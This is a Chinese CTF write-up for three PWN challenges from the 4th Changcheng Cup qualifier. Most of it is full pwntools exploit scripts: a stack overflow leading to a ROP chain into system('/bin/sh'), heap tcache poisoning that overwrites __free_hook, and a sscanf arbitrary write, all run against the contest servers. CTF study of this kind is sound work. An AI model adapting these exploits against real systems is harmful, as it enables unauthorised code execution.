第四届长城杯网络安全大赛暨京津冀网络安全技能竞赛初赛PWN方向部分题解
1222706425506668 发表于 湖北 CTF 1068浏览 · 2024-09-01 10:31

FlowerShop

[*] '/home/zp9080/PWN/pwn'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
  • 发现buf这里有溢出,可以控制v8,v8就是之后的money值

  • personalShop这个函数没什么用,就是打印你所有的物品和money

  • shop函数,当买999物品会让magic为/bin/sh,然后买两个99,一个199的,在check函数中可以让v3为70,最终实现栈溢出
int __fastcall shop(unsigned int *a1, unsigned int *cnt)
{
  int result; // eax
  int v3; // [rsp+1Ch] [rbp-14h] BYREF
  char buf[10]; // [rsp+20h] [rbp-10h] BYREF
  char v5; // [rsp+2Ah] [rbp-6h] BYREF
  char v6; // [rsp+2Bh] [rbp-5h]
  int i; // [rsp+2Ch] [rbp-4h]

  v5 = '0';
  v3 = 0xA;
  for ( i = 0; i <= 9; ++i )
    buf[i] = 0;
  do
  {
    puts(asc_401048);
    puts(asc_4010F8);
    __isoc99_scanf(&unk_401118, &v5);
    do
      v6 = getchar();
    while ( v6 != -1 && v6 != '\n' );
    switch ( v5 )
    {
      case 'b':
        if ( (int)cnt[1] > 8 )
          goto LABEL_18;
        if ( (unsigned int)pay(199, a1) )
          ++cnt[1];
        break;
      case 'c':
        if ( (int)cnt[2] > 8 )
        {
LABEL_18:
          puts(asc_401120);
          break;
        }
        if ( (unsigned int)pay(0x3E7, a1) )
        {
          memset(&magic, 32, 0x32uLL);
          ++cnt[2];
          magic = 0x68732F6E69622FLL;
        }
        break;
      case 'a':
        printf("%d", *cnt);
        if ( (int)*cnt > 8 )
          goto LABEL_18;
        if ( (unsigned int)pay(99, a1) )
          ++*cnt;
        break;
      default:
        puts(asc_40114B);
        break;
    }
    check(cnt, &v3);
    puts(asc_401167);
    read(0, buf, v3);
    result = atoi(buf);
  }
  while ( result == 1 );
  return result;
}
  • 最后pwn中也有system函数,也有gadget,直接栈溢出getshell
  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
gdb_script='''
b *0x400B41
'''
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("./opt",gdb_script)
p=remote('8.147.129.22',26029)
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])

def dbg():
    gdb.attach(p,gdb_script)  
    pause()

#flag{9b37b49f-1868-480a-a44f-f5d97dec7c7d}
payload=b'a'*0x34+b'pwn\x00'+p32(0x7fffffff)
p.send(payload)
#menu
p.sendlineafter(":",'a')

# dbg()

p.sendlineafter(":",'a')
p.sendlineafter('1/0',b'1')
p.sendlineafter(":",'a')
p.sendlineafter('1/0',b'1')
p.sendlineafter(":",'b')
p.sendlineafter('1/0',b'1')

p.sendlineafter(":",'c')

magic=0x601840
pop_rdi=0x400f13
system=0x400730
ret=0x4006f6 
payload=b'a'*0x18+p64(pop_rdi)+p64(magic)+p64(ret)+p64(system)
p.sendafter('1/0',payload)

p.interactive()

Kylin_Heap

  • 这个完全是签到题难度,libc2.31
  • 有add,edit,show,delete函数,还有uaf,直接泄露libcbase,然后打tcache poison最后打__free_hook来getshell
  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('8.147.133.38',13594)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc


#flag{de59e945-8c6b-422c-ac54-2a2b67e1faa2}
def dbg():
    gdb.attach(p,"b *$rebase(0x19E0)")  
    pause()

menu="What will you do, adventurer? "

def add(size,cont):
    p.sendlineafter(menu,str(1))
    p.sendlineafter('):',str(size))
    p.sendlineafter('bytes):',cont)

def delete(idx):
    p.sendlineafter(menu,str(2))
    p.sendlineafter('):',str(idx))

def edit(idx,cont):
    p.sendlineafter(menu,str(3))
    p.sendlineafter('):',str(idx))
    p.sendlineafter('bytes):',cont)

def show(idx):
    p.sendlineafter(menu,str(4))
    p.sendlineafter('):',str(idx))

add(0x420,b'a') #0
add(0x20,b'a') #1
delete(0)
show(0)

p.recvuntil('block [0]:\n')
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x1ebbe0
print(hex(libcbase))
__free_hook=libcbase+libc.sym["__free_hook"]
system_addr=libcbase+libc.sym["system"]

add(0x40,b'a') #2
add(0x40,b'a') #3
add(0x40,b'a') #4

delete(2)
delete(3)
edit(3,p64(__free_hook))
add(0x40,b'/bin/sh\x00') #5
add(0x40,p64(system_addr))

delete(5)


p.interactive()

consumption

  • 这个题一开始先过交互,一看是CJSON,基本上就知道是和CISCN决赛有个json输入的堆题差不多,json格式的输入即可过了交互
{"choice":"1","idx":1,"size":"20","content":"hello"}
  • 之后发现怎么都没有漏洞可以利用,没有uaf,也没有off-by-null,卡了很久,最后发现这里有个漏洞。一开始看到了这个栈溢出漏洞感觉没啥用,直接就跳过去了。但是发现add中有个sccanf这个函数,最近做IOT有很多cve都是和这个有关。突然发现add中的a3是可以用main中这个栈溢出漏洞修改a3的值,最后实现任意地址写任意值
  • 但是有个地方要注意,这里是用%d,所以要用负数的补码来写libcbase附近的值,不然会超过int类型的限制
  • 有了任意地址写任意值,剩下的打就很简单了。但是注意要patchelf,一开始想着直接用u20做题和题目libc相同,但是最后卡了很久,发现是因为没有patch导致libcbase差了0x2000,最后调整了才打通

  • main函数

char s[1280]; // [esp+28h] [ebp-100Ch] BYREF
  int v13[64]; // [esp+528h] [ebp-B0Ch] BYREF
  _DWORD v14[643]; // [esp+628h] [ebp-A0Ch] BYREF

  v14[641] = &argc;
  v14[640] = __readgsdword(0x14u);
  init();
  while ( 1 )
  {
    menu();
    v13[0] = (int)v14;
    __isoc99_scanf("%4094s", s);

    //***
    add(size1, cont1, (size_t **)v13);
  }
  • add函数
int __cdecl add(int a1, void *src, size_t **a3)
{
  int v4; // [esp+8h] [ebp-10h]
  int i; // [esp+Ch] [ebp-Ch]

  v4 = 0;
  for ( i = 0; i <= 6; ++i )
  {
    if ( !chunklist[i] )
    {
      v4 = i;
      break;
    }
  }
  if ( i > 6 )
    return puts("full!");
  __isoc99_sscanf(a1, "%d", *a3);
  if ( (int)**a3 > 0x400 )
    return error();
  chunklist[v4] = (int)malloc(**a3);
  sizelist[v4] = **a3;
  memcpy((void *)chunklist[v4], src, **a3);
  return puts("done");
}
  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
context(os='linux', arch='i386', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')

# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
# elf = ELF("/home/zp9080/PWN/pwn")

#flag{9c9f5239-fd3b-4ef6-b8e3-515834a4b4a6}
libc=ELF("/home/zp9080/PWN/libc.so.6")

menu="5.exit\t"
def dbg():
    gdb.attach(p,"b *0x80496FB")  
    pause()
# dbg()

def add(size,cont):
    choice = f'{{"choice":"1","idx":1,"size":"{size}","content":"{cont}"}}'
    p.sendlineafter(menu, choice)

def delete(idx):
    choice = f'{{"choice":"2","idx":{idx},"size":"16","content":"a"}}'
    p.sendlineafter(menu, choice)

def show(idx):
    choice = f'{{"choice":"3","idx":{idx},"size":"16","content":"a"}}'
    p.sendlineafter(menu, choice)

def edit(idx,cont):
    choice = f'{{"choice":"4","idx":{idx},"size":"16","content":"{cont}"}}'
    p.sendlineafter(menu, choice)

def to_signed_32bit(val):
    if val > 0x7fffffff:
        return val - 0x100000000  # 减去 2^32
    return val


p=remote('8.147.132.32',16726)


add('1024','a'*0x20)
delete(0)
add('0','a'*8)
show(0)
p.recvuntil('content:')
libcbase=u32(p.recv(4))-0x1eb778+0x2000
print(hex(libcbase))

system = libcbase + 0x41360
signed_system = to_signed_32bit(system)
print(p32(system))
add('8','/bin/sh')

malloc_got=0x8051AC4
chunklist=0x8051B10
free_got=0x8051AB0
call_menu=0x804977A
__free_hook=libcbase+libc.sym["__free_hook"]


choice = f'{{"choice":"1","idx":1,"size":"{chunklist+0x10}","content":"a"}}'
choice=choice.ljust(0x500,'\x00').encode()+p32(chunklist+0x8)
p.sendlineafter(menu, choice)


choice = b'{"choice":"4","idx":2,"size":"16","content":"'+p32(__free_hook)*2+b'"}'
p.sendlineafter(menu, choice)

# dbg()

choice = b'{"choice":"4","idx":4,"size":"16","content":"'+p32(system)*2+b'"}'
p.sendlineafter(menu, choice)

# dbg()
delete(1)

p.interactive()

Kylin_Driver

  • 一个内核题,用qemu跑起来发现flag在根目录,同时没有权限读。应该是要提权,笔者还不太会内核的题,就没写

Emoji

  • 没怎么看这个,一看是个c++,然后代码还很长,libc是2.39,也没多少时间,直接就没看了
1 条评论
某人
表情
可输入 255
目录